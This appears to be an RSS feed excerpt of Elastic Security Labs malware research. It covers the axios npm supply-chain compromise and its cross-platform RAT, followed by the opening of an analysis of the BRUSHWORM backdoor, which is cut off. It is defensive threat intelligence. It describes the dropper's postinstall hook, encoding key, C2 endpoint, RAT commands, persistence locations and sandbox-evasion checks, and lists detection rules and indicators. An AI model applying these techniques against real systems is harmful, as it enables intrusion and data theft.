<h3 id="relatedalerts">Related Alerts</h3>
<p>| Alert | Operating System |
| :---- | :---- |
| <a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/cross-platform/command_and_control_curl_wget_spawn_via_nodejs_parent.toml">Curl or Wget Spawned via</a> <a href="http://Node.js">Node.js</a> | Linux |
| <a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/linux/execution_process_backgrounded_by_unusual_parent.toml">Process Backgrounded by Unusual Parent</a> | Linux |
| <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/defense_evasion_execution_via_renamed_signed_binary_proxy.toml">Execution via Renamed Signed Binary Proxy</a> | Windows |
| <a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/windows/command_and_control_tool_transfer_via_curl.toml">Potential File Transfer via Curl for Windows</a> | Windows |
| <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/persistence_startup_persistence_via_windows_script_interpreter.toml">Startup Persistence via Windows Script Interpreter</a> | Windows |
| <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/persistence_suspicious_string_value_written_to_registry_run_key.toml">Suspicious String Value Written to Registry Run Key</a> | Windows |
| <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/execution_suspicious_powershell_base64_decoding.toml">Suspicious PowerShell Base64 Decoding</a> | Windows |
| <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/command_and_control_suspicious_url_as_argument_to_self_signed_binary.toml">Suspicious URL as argument to Self-Signed Binary</a> | macOS |
| <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/defense_evasion_potential_binary_masquerading_via_invalid_code_signature.toml#L8">Potential Binary Masquerading via Invalid Code Signature</a> | macOS |
| <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/execution_suspicious_xpc_service_child_process.toml#L5">Suspicious XPC Service Child Process</a> | macOS |</p>
<h3 id="maliciouspackages">Malicious Packages</h3>
<p>| Package | Version | Hash (shasum) |
| ----- | ----- | ----- |
| <code>axios</code> | <code>1.14.1</code> | <code>2553649f232204966871cea80a5d0d6adc700ca</code> |
| <code>axios</code> | <code>0.30.4</code> | <code>d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71</code> |
| <code>plain-crypto-js</code> | <code>4.2.1</code> | <code>07d889e2dadce6f3910dcbc253317d28ca61c766</code> |</p>
<p>Additional related packages observed in the ecosystem abuse:</p>
<p>| Package | Version |
| ----- | ----- |
| <code>@shadanai/openclaw</code> | <code>2026.3.28-2</code>, <code>2026.3.28-3</code>, <code>2026.3.31-1</code>, <code>2026.3.31-2</code> |
| <code>@qqbrowser/openclaw-qbot</code> | <code>0.0.130</code> |</p>
<h3 id="scriptpayloadhashessha256">Script / Payload Hashes (SHA256)</h3>
<p>| File | SHA256 |
| ----- | ----- |
| <code>setup.js</code> | <code>e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09</code> |
| <code>/tmp/ld.py</code> | <code>6483c004e207137385f480909d6edecf1b699087378aa91745ecba7c3394f9d7</code> |
| <code>6202033.ps1</code> | <code>ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c</code> |
| <code>system.bat</code> | <code>e49c2732fb9861548208a78e72996b9c3c470b6b562576924bcc3a9fb75bf9ff</code> |
| <code>com.apple.act.mond</code> | <code>92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a</code> |</p>
<h3 id="networkindicators">Network Indicators</h3>
<p>| Type | Indicator |
| ----- | ----- |
| C2 Domain | <code>sfrclak[.]com</code> |
| C2 IP | <code>142.11.206[.]73</code> |
| C2 URL | <code>http://sfrclak[.]com:8000/6202033</code> |
| User-Agent | <code>mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)</code> |
| macOS POST body | <code>packages[.]npm[.]org/product0</code> |
| Windows POST body | <code>packages[.]npm[.]org/product1</code> |
| Linux POST body | <code>packages[.]npm[.]org/product2</code> |</p>
<h3 id="filesystemindicators">File System Indicators</h3>
<h4 id="crossplatform">Cross-platform</h4>
<p>| Path / Artifact | Description |
| ----- | ----- |
| <code>$TMPDIR/6202033</code> | Temporary staging artifact |
| <code>*/node_modules/plain-crypto-js/setup.js</code> | Node.js first-stage dropper |</p>
<h4 id="linux-1">Linux</h4>
<p>| Path | Description |
| ----- | ----- |
| <code>/tmp/ld.py</code> | Python RAT second stage |</p>
<h4 id="windows-1">Windows</h4>
<p>| Path | Description |
| ----- | ----- |
| <code>%PROGRAMDATA%\wt.exe</code> | Renamed <code>powershell.exe</code> (execution proxy) |
| <code>%PROGRAMDATA%\system.bat</code> | Persistence launcher |
| <code>HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate</code> | Persistence key |
| <code>%TEMP%\6202033.vbs</code> | VBS launcher (self-deletes) |
| <code>%TEMP%\6202033.ps1</code> | PowerShell payload (self-deletes) |</p>
<h4 id="macos-1">macOS</h4>
<p>| Path | Description |
| ----- | ----- |
| <code>/Library/Caches/com.apple.act.mond</code> | Mach-O backdoor payload |
| <code>/tmp/*.scpt</code> | Temporary AppleScript launcher |</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/axios-supply-chain-compromise-detections</link>
    <guid isPermaLink="false">axios-supply-chain-compromise-detections</guid>
    <category><![CDATA[Threat Hunting]]></category>
    <dc:creator><![CDATA[Ruben Groenewoud,Samir Bousseaden,Salim Bitam,Joe Desimone,Colson Wilhoit,Andrew Pease]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd65fe78a02d1d401/6a7d7df6e02fac442a5d34b0/axios-supply-chain-compromise-detections.webp" length="0" type="image/webp"/>
    <pubDate>Wed, 01 Apr 2026 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Inside the Axios supply chain compromise - one RAT to rule them all]]></title>
    <description><![CDATA[Elastic Security Labs analyzes a supply chain compromise of the axios npm package delivering a unified cross-platform RAT]]></description>
    <content:encoded><![CDATA[<blockquote>
  <p>Elastic Security Labs released <a href="https://www.elastic.co/security-labs/axios-supply-chain-compromise-detections">initial triage and detection rules</a> for the Axios supply-chain compromise. This is a detailed analysis of the RAT and payloads.</p>
</blockquote>
<h2 id="introduction">Introduction</h2>
<p>Elastic Security Labs identified a supply chain compromise of the axios npm package, one of the most depended-upon packages in the JavaScript ecosystem with approximately 100 million weekly downloads. The attacker compromised a maintainer account and published backdoored versions that delivered a cross-platform Remote Access Trojan to macOS, Windows, and Linux systems through a malicious postinstall hook.</p>
<h3 id="keytakeaways">Key takeaways</h3>
<ul>
<li>A compromised npm maintainer account (jasonsaayman) was used to publish two malicious versions of the widely used Axios HTTP client — 1.14.1 (tagged latest) and 0.30.4 (tagged legacy) — meaning a default npm install axios resolved to a backdoored package  </li>
<li>The malicious JavaScript deploys platform-specific stage-2 implants for macOS, Windows, and Linux  </li>
<li>All three stage-2 payloads are implementations of the <strong>same RAT</strong> — identical C2 protocol, command set, beacon cadence, and spoofed user-agent, written in PowerShell (Windows), C++ (macOS), and Python (Linux)  </li>
<li>The dropper performs anti-forensic cleanup by deleting itself and swapping its package.json with a clean copy, erasing evidence of the postinstall trigger from <code>node_modules</code></li>
</ul>
<h2 id="preamble">Preamble</h2>
<p>On March 30, 2026, Elastic Security Labs detected a supply chain compromise targeting the <a href="https://www.npmjs.com/package/axios">axios</a> npm package through automated supply-chain monitoring. The attacker gained control of the npm account belonging to jasonsaayman, one of the project's primary maintainers, and published two backdoored versions within a 39-minute window.</p>
<p>The axios package is one of the most widely depended-upon HTTP client libraries in the JavaScript ecosystem. At the time of discovery, both the latest and legacy dist-tags pointed to compromised versions, ensuring that the majority of fresh installations pulled a backdoored release.</p>
<p>The malicious versions introduced a single new dependency: plain-crypto-js, a purpose-built package whose postinstall hook silently downloaded and executed platform-specific stage-2 RAT implants from sfrclak[.]com:8000.</p>
<p>What makes this campaign notable beyond its blast radius is the stage-2 tooling. The attacker deployed three parallel implementations of the <strong>same RAT</strong> — one each for Windows, macOS, and Linux — all sharing an identical C2 protocol, command structure, and beacon behavior. This isn't three different tools; it's a single cross-platform implant framework with platform-native implementations.</p>
<p>Elastic Security Labs filed a GitHub Security Advisory to the axios repository on <strong>March 31, 2026 at 01:50 AM UTC</strong> to coordinate disclosure and ensure the maintainers and npm registry could act on the compromised versions.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta31cc5d22ba4626e/6a7c777c437e0f4ad6dd546c/image3.png" alt="GitHub Security Advisory filed to the axios repository" title="GitHub Security Advisory filed to the axios repository" />  </p>
<p>As the community flagged the compromise on social media, Elastic Security Labs shared early findings publicly to help defenders respond in real time.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf02f9b032792ceaa/6a7c777f9f52517ded663ee0/image2.png" alt="Early coordination on X as Elastic Security Labs began sharing indicators and analysis during the active compromise" title="Early coordination on X as Elastic Security Labs began sharing indicators and analysis during the active compromise" /></p>
<p>This post covers the full attack chain: from the npm-level supply chain compromise through the obfuscated dropper, to the architecture of the cross-platform RAT and the meaningful differences between its three variants.</p>
<h2 id="campaignoverview">Campaign overview</h2>
<p>The compromise is evident from the npm registry metadata. The maintainer email changed from <code>jasonsaayman@gmail[.]com</code> — present on all prior legitimate releases — to <code>ifstap@proton[.]me</code> on the malicious versions. The publishing method also changed:</p>
<p>| Version | Published By | Method | Provenance |
| ----- | ----- | ----- | ----- |
| <code>axios@1.14.0</code> (legitimate) | <code>jasonsaayman@gmail[.]com</code> | GitHub Actions OIDC | SLSA provenance attestations |
| <code>axios@1.14.1</code> (compromised) | <code>ifstap@proton[.]me</code> | Direct CLI publish | None |
| <code>axios@0.30.4</code> (compromised) | <code>ifstap@proton[.]me</code> | Direct CLI publish | None |</p>
<p>The shift from a trusted OIDC publisher flow with SLSA provenance to a direct CLI publish with a changed email is a clear indicator of unauthorized access.</p>
<h3 id="timeline">Timeline</h3>
<ul>
<li><strong>2026-02-18 17:19 UTC</strong> — <code>axios@0.30.3</code> published legitimately by <code>jasonsaayman@gmail[.]com</code>  </li>
<li><strong>2026-03-27 19:01 UTC</strong> — <code>axios@1.14.0</code> published legitimately via GitHub Actions OIDC  </li>
<li><strong>2026-03-30 05:57 UTC</strong> — <code>plain-crypto-js@4.2.0</code> published by <code>nrwise</code> (<code>nrwise@proton.me</code>) — clean decoy to build registry history  </li>
<li><strong>2026-03-30 23:59 UTC</strong> — <code>plain-crypto-js@4.2.1</code> published by <code>nrwise</code> — malicious version with <code>postinstall</code> backdoor  </li>
<li><strong>2026-03-31 00:21 UTC</strong> — <code>axios@1.14.1</code> published by compromised account — tagged <code>latest</code>  </li>
<li><strong>2026-03-31 01:00 UTC</strong> — <code>axios@0.30.4</code> published by compromised account — tagged <code>legacy</code></li>
</ul>
<h3 id="affectedpackages">Affected packages</h3>
<ul>
<li><strong><code>axios@1.14.1</code> — Malicious, tagged <code>latest</code> at time of discovery</strong>  </li>
<li><strong><code>axios@0.30.4</code> — Malicious, tagged <code>legacy</code> at time of discovery</strong>  </li>
<li><strong><code>plain-crypto-js@4.2.0</code> — Clean decoy, published to build registry history</strong>  </li>
<li><strong><code>plain-crypto-js@4.2.1</code> — Malicious, payload delivery vehicle (<code>postinstall</code> backdoor)</strong></li>
</ul>
<p><strong>Safe versions:</strong> <code>axios@1.14.0</code> (last legitimate 1.x release with SLSA provenance) and <code>axios@0.30.3</code> (last legitimate <code>0.30.x</code> release).</p>
<p>The attacker tagged both the latest and legacy channels, maximizing the blast radius across projects using either the current or legacy axios API.</p>
<h2 id="codeanalysis">Code analysis</h2>
<h3 id="stage1theplaincryptojsdropper">Stage 1: The plain-crypto-js dropper</h3>
<p>The entire delivery chain hinges on npm's postinstall lifecycle hook. Installing either compromised axios version pulls <code>plain-crypto-js@^4.2.1</code> as a dependency, which declares:</p>
<pre><code>"scripts": {
  "postinstall": "node setup.js"
}
</code></pre>
<p>This causes setup.js to execute automatically during npm install — no user interaction required.</p>
<p>The setup.js file uses a two-layer encoding scheme to conceal its behavior:</p>
<ul>
<li><strong>Layer 1:</strong> String reversal followed by Base64 decoding  </li>
<li><strong>Layer 2:</strong> XOR cipher using the key OrDeR_7077 with a position-dependent index (7 * i² % 10)</li>
</ul>
<p>All critical strings, module names, URLs, shell commands are stored in an encoded array stq[] and decoded at runtime. The decoded contents reveal the operational infrastructure:</p>
<h3 id="platformspecificdelivery">Platform-specific delivery</h3>
<p>After decoding its string table, the dropper checks os.platform() and branches into one of three delivery routines. Each sends an HTTP POST to http://sfrclak[.]com:8000/6202033 with a platform-specific body — packages.npm.org/product0 (macOS), packages.npm.org/product1 (Windows), packages.npm.org/product2 (Linux) — allowing the C2 to serve the correct payload from a single endpoint. The packages.npm.org/ prefix is a deliberate attempt to make outbound traffic appear as benign npm registry communication in network logs:</p>
<p>| Platform | Delivery Method | Stage-2 Location | Disguise |
| ----- | ----- | ----- | ----- |
| macOS | AppleScript via osascript downloads binary with curl | <code>/Library/Caches/com.apple.act.mond</code> | Apple system daemon |
| Windows | VBScript downloads .ps1 via curl, executes via renamed PowerShell (<code>%PROGRAMDATA%\wt.exe</code>) | <code>%TEMP%\6202033.ps1</code> (transient) | Windows Terminal |
| Linux | Direct curl download and python3 execution | <code>/tmp/ld.py</code> | None |</p>
<h3 id="antiforensics">Anti-forensics</h3>
<p>The dropper performs two cleanup actions:</p>
<ol>
<li><strong>Self-deletion:</strong> setup.js removes itself via fs.unlink(__filename)  </li>
<li><strong>Package manifest swap:</strong> A clean file named package.md (containing a benign version 4.2.0 configuration with no postinstall hook) is renamed to package.json, overwriting the malicious version</li>
</ol>
<p>Post-incident inspection of node_modules/plain-crypto-js/package.json reveals no trace of the postinstall trigger. The malicious setup.js is gone. Only the lockfile and npm audit logs retain evidence.</p>
<h3 id="stage2crossplatformrat">Stage 2: Cross-platform RAT</h3>
<p>The three stage-2 payloads: PowerShell for Windows, compiled C++ for macOS, Python for Linux  are not three different tools. They are three implementations of the <strong>same RAT specification</strong>, sharing an identical C2 protocol, command set, message format, and operational behavior. The consistency strongly indicates a single developer or tightly coordinated team working from a shared design document.</p>
<h4 id="sharedarchitecture">Shared architecture</h4>
<p>The following properties are <strong>identical across all three variants:</strong></p>
<ul>
<li><strong>C2 transport: HTTP POST</strong>  </li>
<li><strong>Body encoding: Base64-encoded JSON</strong>  </li>
<li><strong>User-Agent: <code>mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)</code></strong>  </li>
<li><strong>Beacon interval: 60 seconds</strong>  </li>
<li><strong>Session UID: 16-character random alphanumeric string, generated per-execution</strong>  </li>
<li><strong>Outbound message types: <code>FirstInfo</code>, <code>BaseInfo</code>, <code>CmdResult</code></strong>  </li>
<li><strong>Inbound command types: <code>kill</code>, <code>peinject</code>, <code>runscript</code>, <code>rundir</code></strong>  </li>
<li><strong>Response command types: <code>rsp_kill</code>, <code>rsp_peinject</code>, <code>rsp_runscript</code>, <code>rsp_rundir</code></strong></li>
</ul>
<p>The spoofed IE8/Windows XP user-agent string is particularly notable, it is anachronistic on all three platforms, and its presence on a macOS or Linux host is a strong detection indicator.</p>
<h4 id="initializationandreconnaissance">Initialization and reconnaissance</h4>
<p>On startup, each variant:</p>
<ol>
<li><strong>Generates a session UID</strong> — 16 random alphanumeric characters, included in every subsequent C2 message  </li>
<li><strong>Detects OS and architecture</strong> — reports platform-specific identifiers (e.g., windows_x64, macOS, linux_x64)  </li>
<li><strong>Enumerates initial directories</strong> of interest (user profile, documents, desktop, config directories)  </li>
<li><strong>Sends a FirstInfo beacon</strong> containing the UID, OS identifier, and directory snapshot</li>
</ol>
<p>After initialization, the implant enters the main loop. The first BaseInfo heartbeat includes a comprehensive system profile. The same categories of data are collected on all platforms, though the underlying APIs differ:</p>
<p>| Data Collected | Windows Source | macOS Source | Linux Source |
| ----- | ----- | ----- | ----- |
| Hostname | %COMPUTERNAME% env var | gethostname() | /proc/sys/kernel/hostname |
| Username | %USERNAME% env var | getuid() + getpwuid() | os.getlogin() |
| OS version | WMI / registry | sysctlbyname("kern.osproductversion") | platform.system() + platform.release() |
| Timezone | System timezone | localtime_r() | datetime.timezone |
| Boot time | System uptime | sysctl("kern.boottime") | /proc/uptime |
| Install date | Registry / WMI | stat("/") or sysctl | ctime of /var/log/installer or /var/log/dpkg.log |
| Hardware model | WMI | sysctlbyname("hw.model") | /sys/class/dmi/id/product_name |
| CPU type | WMI | sysctlbyname() | platform.machine() |
| Process list | Full PID, session, name, path | popen("ps") (up to 1000) | Full /proc enumeration (PID, PPID, user, cmdline) |</p>
<p>Subsequent heartbeats are lightweight, containing only a timestamp to confirm the implant is alive.</p>
<h4 id="commanddispatch">Command dispatch</h4>
<p>The C2 response is parsed as JSON, and the type field determines the action. All three variants implement the same four commands:</p>
<p><strong>kill — Self-termination.</strong> Sends an rsp_kill acknowledgment and exits. The Windows variant's persistence mechanism (registry key + batch file) survives the kill command unless explicitly cleaned up; the macOS and Linux variants have no persistence of their own.</p>
<p><strong>runscript — Script/command execution.</strong> The operator's primary interaction command. Accepts a Script field (code to execute) and a Param field (arguments). When Script is empty, Param is run directly as a command. The execution mechanism is platform-native:</p>
<p>| Platform | Execution Mechanism |
| ----- | ----- |
| Windows | PowerShell with -NoProfile -ep Bypass |
| macOS | AppleScript via /usr/bin/osascript |
| Linux | Shell via subprocess.run(shell=True) or Python via python3 -c |</p>
<p><strong>peinject — Binary payload delivery.</strong> Despite the Windows-centric naming ("PE inject"), all three platforms implement this as a way to drop and execute binary payloads:</p>
<p>| Platform | Implementation |
| ----- | ----- |
| Windows | Reflective .NET assembly loading via [System.Reflection.Assembly]::Load() |
| macOS | Base64-decodes and drops a binary, executes with operator-supplied parameters. |
| Linux | Base64-decodes a binary to /tmp/.\ (hidden file), launches via subprocess.Popen(). |</p>
<p>The Windows implementation has in-memory execution with no file drop but without disabling AMSI which will certainly flag on the Assembly load. The macOS and Linux variants take the simpler approach of writing a binary to disk and executing it directly.</p>
<p><strong>rundir — Directory enumeration.</strong> Accepts paths and returns detailed file listings (name, size, type, creation/modification timestamps, child count for directories). Allows the operator to interactively browse the filesystem. </p>
<h4 id="capabilitysummary">Capability summary</h4>
<p>| Capability | Windows (PowerShell) | macOS (C++) | Linux (Python) |
| ----- | ----- | ----- | ----- |
| Persistence | Registry Run key + hidden .bat | None | None |
| Script execution | PowerShell | AppleScript via osascript | Shell or Python inline |
| Binary injection | Reflective .NET load injecting into cmd.exe | Binary drop + execute | Binary drop to /tmp/ + execute |
| Anti-forensics | Hidden windows, temp file cleanup | Hidden temp .scpt | Hidden /tmp/.XXXXXX files |</p>
<h2 id="attribution">Attribution</h2>
<p>The macOS Mach-O binary delivered by the <code>plain-crypto-js</code> postinstall hook exhibits significant overlap with <strong>WAVESHAPER</strong>, a C++ backdoor tracked by Mandiant and attributed to <strong>UNC1069</strong>, a DPRK-linked threat cluster.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7dd494c99015c9fc/6a7c7782de23153c93fd1c79/image1.png" alt="Side-by-side comparison of the axios compromise macOS sample and WAVESHAPER indicators" title="Side-by-side comparison of the axios compromise macOS sample and WAVESHAPER indicators" /></p>
<h2 id="conclusion">Conclusion</h2>
<p>This campaign demonstrates the continued attractiveness of the npm ecosystem as a supply chain attack vector. By compromising a single maintainer account on one of the JavaScript ecosystem's most depended-upon packages, the attacker gained a delivery mechanism with potential reach into millions of environments.</p>
<p>The toolkit's most reliable detection indicator is also its most curious design choice: the IE8/Windows XP user-agent string hardcoded identically across all three platform variants. While it provides a consistent protocol fingerprint for C2 server-side routing, it is trivially detectable on any modern network — and is an immediate anomaly on macOS and Linux hosts.</p>
<p>Elastic Security Labs will continue monitoring this activity cluster and will update this post with any additional findings.</p>
<h2 id="mitreattck">MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3 id="tactics">Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
</ul>
<h3 id="techniques">Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1195/001/">Supply Chain Compromise: Compromise Software Dependencies</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1059/007/">Command and Scripting Interpreter: JavaScript</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1059/002/">Command and Scripting Interpreter: AppleScript</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1059/004/">Command and Scripting Interpreter: Unix Shell</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1059/006/">Command and Scripting Interpreter: Python</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1547/001/">Boot or Logon Autostart Execution: Registry Run Keys</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1036/">Masquerading</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1564/001/">Hidden Files and Directories</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1070/004/">Indicator Removal: File Deletion</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1083/">File and Directory Discovery</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1071/001/">Application Layer Protocol: Web Protocols</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1571/">Non-Standard Port</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1132/001/">Data Encoding: Standard Encoding</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1105/">Ingress Tool Transfer</a></li>
</ul>
<h2 id="observations">Observations</h2>
<p>The following observables were discussed in this research.</p>
<p>| Observable | Type | Name | Reference |
| :---- | :---- | :---- | :---- |
| <code>617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101</code> | SHA-256 | <code>6202033.ps1</code> | Windows payload |
| <code>92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a</code> | SHA-256 | <code>com.apple.act.mond</code> | MacOS payload |
| <code>fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf</code> | SHA-256 | <code>ld.py</code> | Linux payload |
| <code>sfrclak[.]com</code> | DOMAIN |  | C2 |
|  <code>142.11.206[.]73</code> | ipv4-addr |  | C2 |</p>
<h2 id="references">References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li>https://www.elastic.co/security-labs/axios-supply-chain-compromise-detections</li>
</ul>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/axios-one-rat-to-rule-them-all</link>
    <guid isPermaLink="false">axios-one-rat-to-rule-them-all</guid>
    <category><![CDATA[Malware Analysis]]></category>
    <dc:creator><![CDATA[Ruben Groenewoud,Samir Bousseaden,Salim Bitam,Joe Desimone,Colson Wilhoit,Andrew Pease]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd20afa36683bcd17/6a7c77849f525141e8663ee6/axios-one-rat-to-rule-them-all.webp" length="0" type="image/webp"/>
    <pubDate>Wed, 01 Apr 2026 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Elastic Security Labs uncovers BRUSHWORM and BRUSHLOGGER]]></title>
    <description><![CDATA[Elastic Security Labs observed two custom malware components targeting a South Asian financial institution: a modular backdoor with USB-based spreading and a DLL-side-loaded keylogger.]]></description>
    <content:encoded><![CDATA[<h2 id="keytakeaways">Key takeaways</h2>
<ul>
<li>A South Asian financial institution was targeted with two custom malware components: a modular backdoor (<strong>BRUSHWORM)</strong>  and a keylogger (<strong>BRUSHLOGGER)</strong>  </li>
<li><strong>BRUSHWORM</strong>  features anti-analysis checks, AES-CBC encrypted configuration, scheduled task persistence, modular DLL payload downloading, USB worm propagation, and broad file theft targeting documents, spreadsheets, email archives, and source code  </li>
<li>The keylogger masquerades as libcurl via DLL side-loading, capturing system-wide keystrokes with window context tracking and XOR-encrypted log files  </li>
<li>Multiple earlier testing versions (<code>V1.exe</code>, <code>V2.exe</code>, etc.) were discovered on VirusTotal, some using free dynamic DNS infrastructure, indicating iterative development</li>
</ul>
<h2 id="introduction">Introduction</h2>
<p>During a recent investigation, Elastic Security Labs identified malware deployed on a South Asian financial institution’s infrastructure. The victim environment had only SIEM-level visibility enabled, which limited post-exploitation telemetry. The intrusion involved two custom binaries: a backdoor named <code>paint.exe</code> and a keylogger masquerading as <code>libcurl.dll</code>.</p>
<p><strong>BRUSHWORM</strong> functions as the primary implant, responsible for installation, persistence, command-and-control communication, downloading additional modular payloads, spreading via removable media, and stealing files with targeted extensions. <strong>BRUSHLOGGER</strong> supplements this by capturing system-wide keystrokes via a simple Windows keyboard hook and logging the active window context for each keystroke session.</p>
<p>Neither binary employs meaningful code obfuscation, packing, or advanced anti-analysis techniques. The overall quality of the code is low — for example, the backdoor writes its decrypted configuration to disk in cleartext before encrypting and saving a second copy, then deletes the cleartext file. Given the absence of a kill switch, the use of free dynamic DNS servers in testing versions, and some coding mistakes, we assess with moderate confidence that the author is relatively inexperienced and may have leveraged AI code-generation tools during development without fully reviewing the output.</p>
<p>Through VirusTotal pivoting, we identified what appear to be earlier development and testing versions of the backdoor uploaded under filenames such as <code>V1.exe</code>, <code>V2.exe</code>, and <code>V4.exe</code>, with varying configurations.</p>
<h2 id="brushwormcodeanalysis">BRUSHWORM code analysis</h2>
<p>The backdoor is the primary implant responsible for establishing persistence, communicating with the C2 server, downloading modular payloads, spreading to removable media, and exfiltrating files.</p>
<h3 id="antianalysisandsandboxdetection">Anti-analysis and sandbox detection</h3>
<p>The malware begins execution with a series of environment checks designed to detect analysis environments, though the techniques are straightforward and lack sophistication.</p>
<p><strong>Screen resolution check:</strong> If the display resolution is less than 1024×768 pixels, execution terminates immediately. This is a common sandbox detection technique.</p>
<p><strong>Username and computer name check:</strong> The malware checks whether the machine's username or the computer name is “<code>sandbox</code>”. If either condition matches, it terminates. These checks target the default name commonly used in analysis sandboxes.</p>
<p><strong>Hypervisor detection:</strong> Using the <code>CPUID</code> instruction, the malware queries the hypervisor vendor string and compares it against the following known virtualization platforms:</p>
<p>| Hypervisor Vendor String | Platform |
| ----- | ----- |
| <code>VMWAREVMWARE</code> | VMware |
| <code>KVMKVMKVM</code> | KVM |
| <code>XENVMMXENVMM</code> | Xen |
| <code>PRL HYPERV</code> | Parallels |
| <code>TCGTCGTCGTCG</code> | QEMU (TCG) |
| <code>ACRNACRNACRN</code> | ACRN |
| <code>MICROSOFT HV</code> | Hyper-V |</p>
<p>If a hypervisor is detected, the malware does not terminate — it merely sleeps for one second before continuing execution.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc45345b23aa2e3e0/6a7c7a0551156a2c4d2bc7e2/image14.png" alt="Hypervisor vendor string comparison using the CPUID instruction" title="Hypervisor vendor string comparison using the CPUID instruction" /></p>
<p><strong>Mouse activity check:</strong> After the initial setup, the malware monitors mouse movement for 5 minutes. If the cursor does not move during this period, execution terminates. This acts as an additional sandbox evasion measure.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt328cba0d3302b623/6a7c7a07c2cc09806b2432b0/image7.png" alt="Mouse movement monitoring over a 5-minute window" title="Mouse movement monitoring over a 5-minute window" /></p>
<h3 id="installationanddirectorysetup">Installation and directory setup</h3>
<p>On first execution, the malware creates multiple hidden directories with hardcoded paths. These directories serve distinct roles throughout the malware's lifecycle:</p>
<p>| Directory | Purpose |
| ----- | ----- |
| <code>C:\ProgramData\Photoes\Pics\</code> | Main installation folder for the backdoor binary |
| <code>C:\Users\Public\Libraries\</code> | Storage for downloaded modules from the C2 server (e.g., <code>Recorder.dll</code>) |
| <code>C:\Users\Public\AppData\Roaming\Microsoft\Vault\</code> | Storage of the encrypted configuration file (<code>keyE.dat</code>) |
| <code>C:\Users\Public\Systeminfo\</code> | Staging directory for stolen files |
| <code>C:\Users\Public\AppData\Roaming\NuGet\</code> | Tracks exfiltrated file paths with their SHA-256 hashes (<code>hashconfig</code>) |</p>
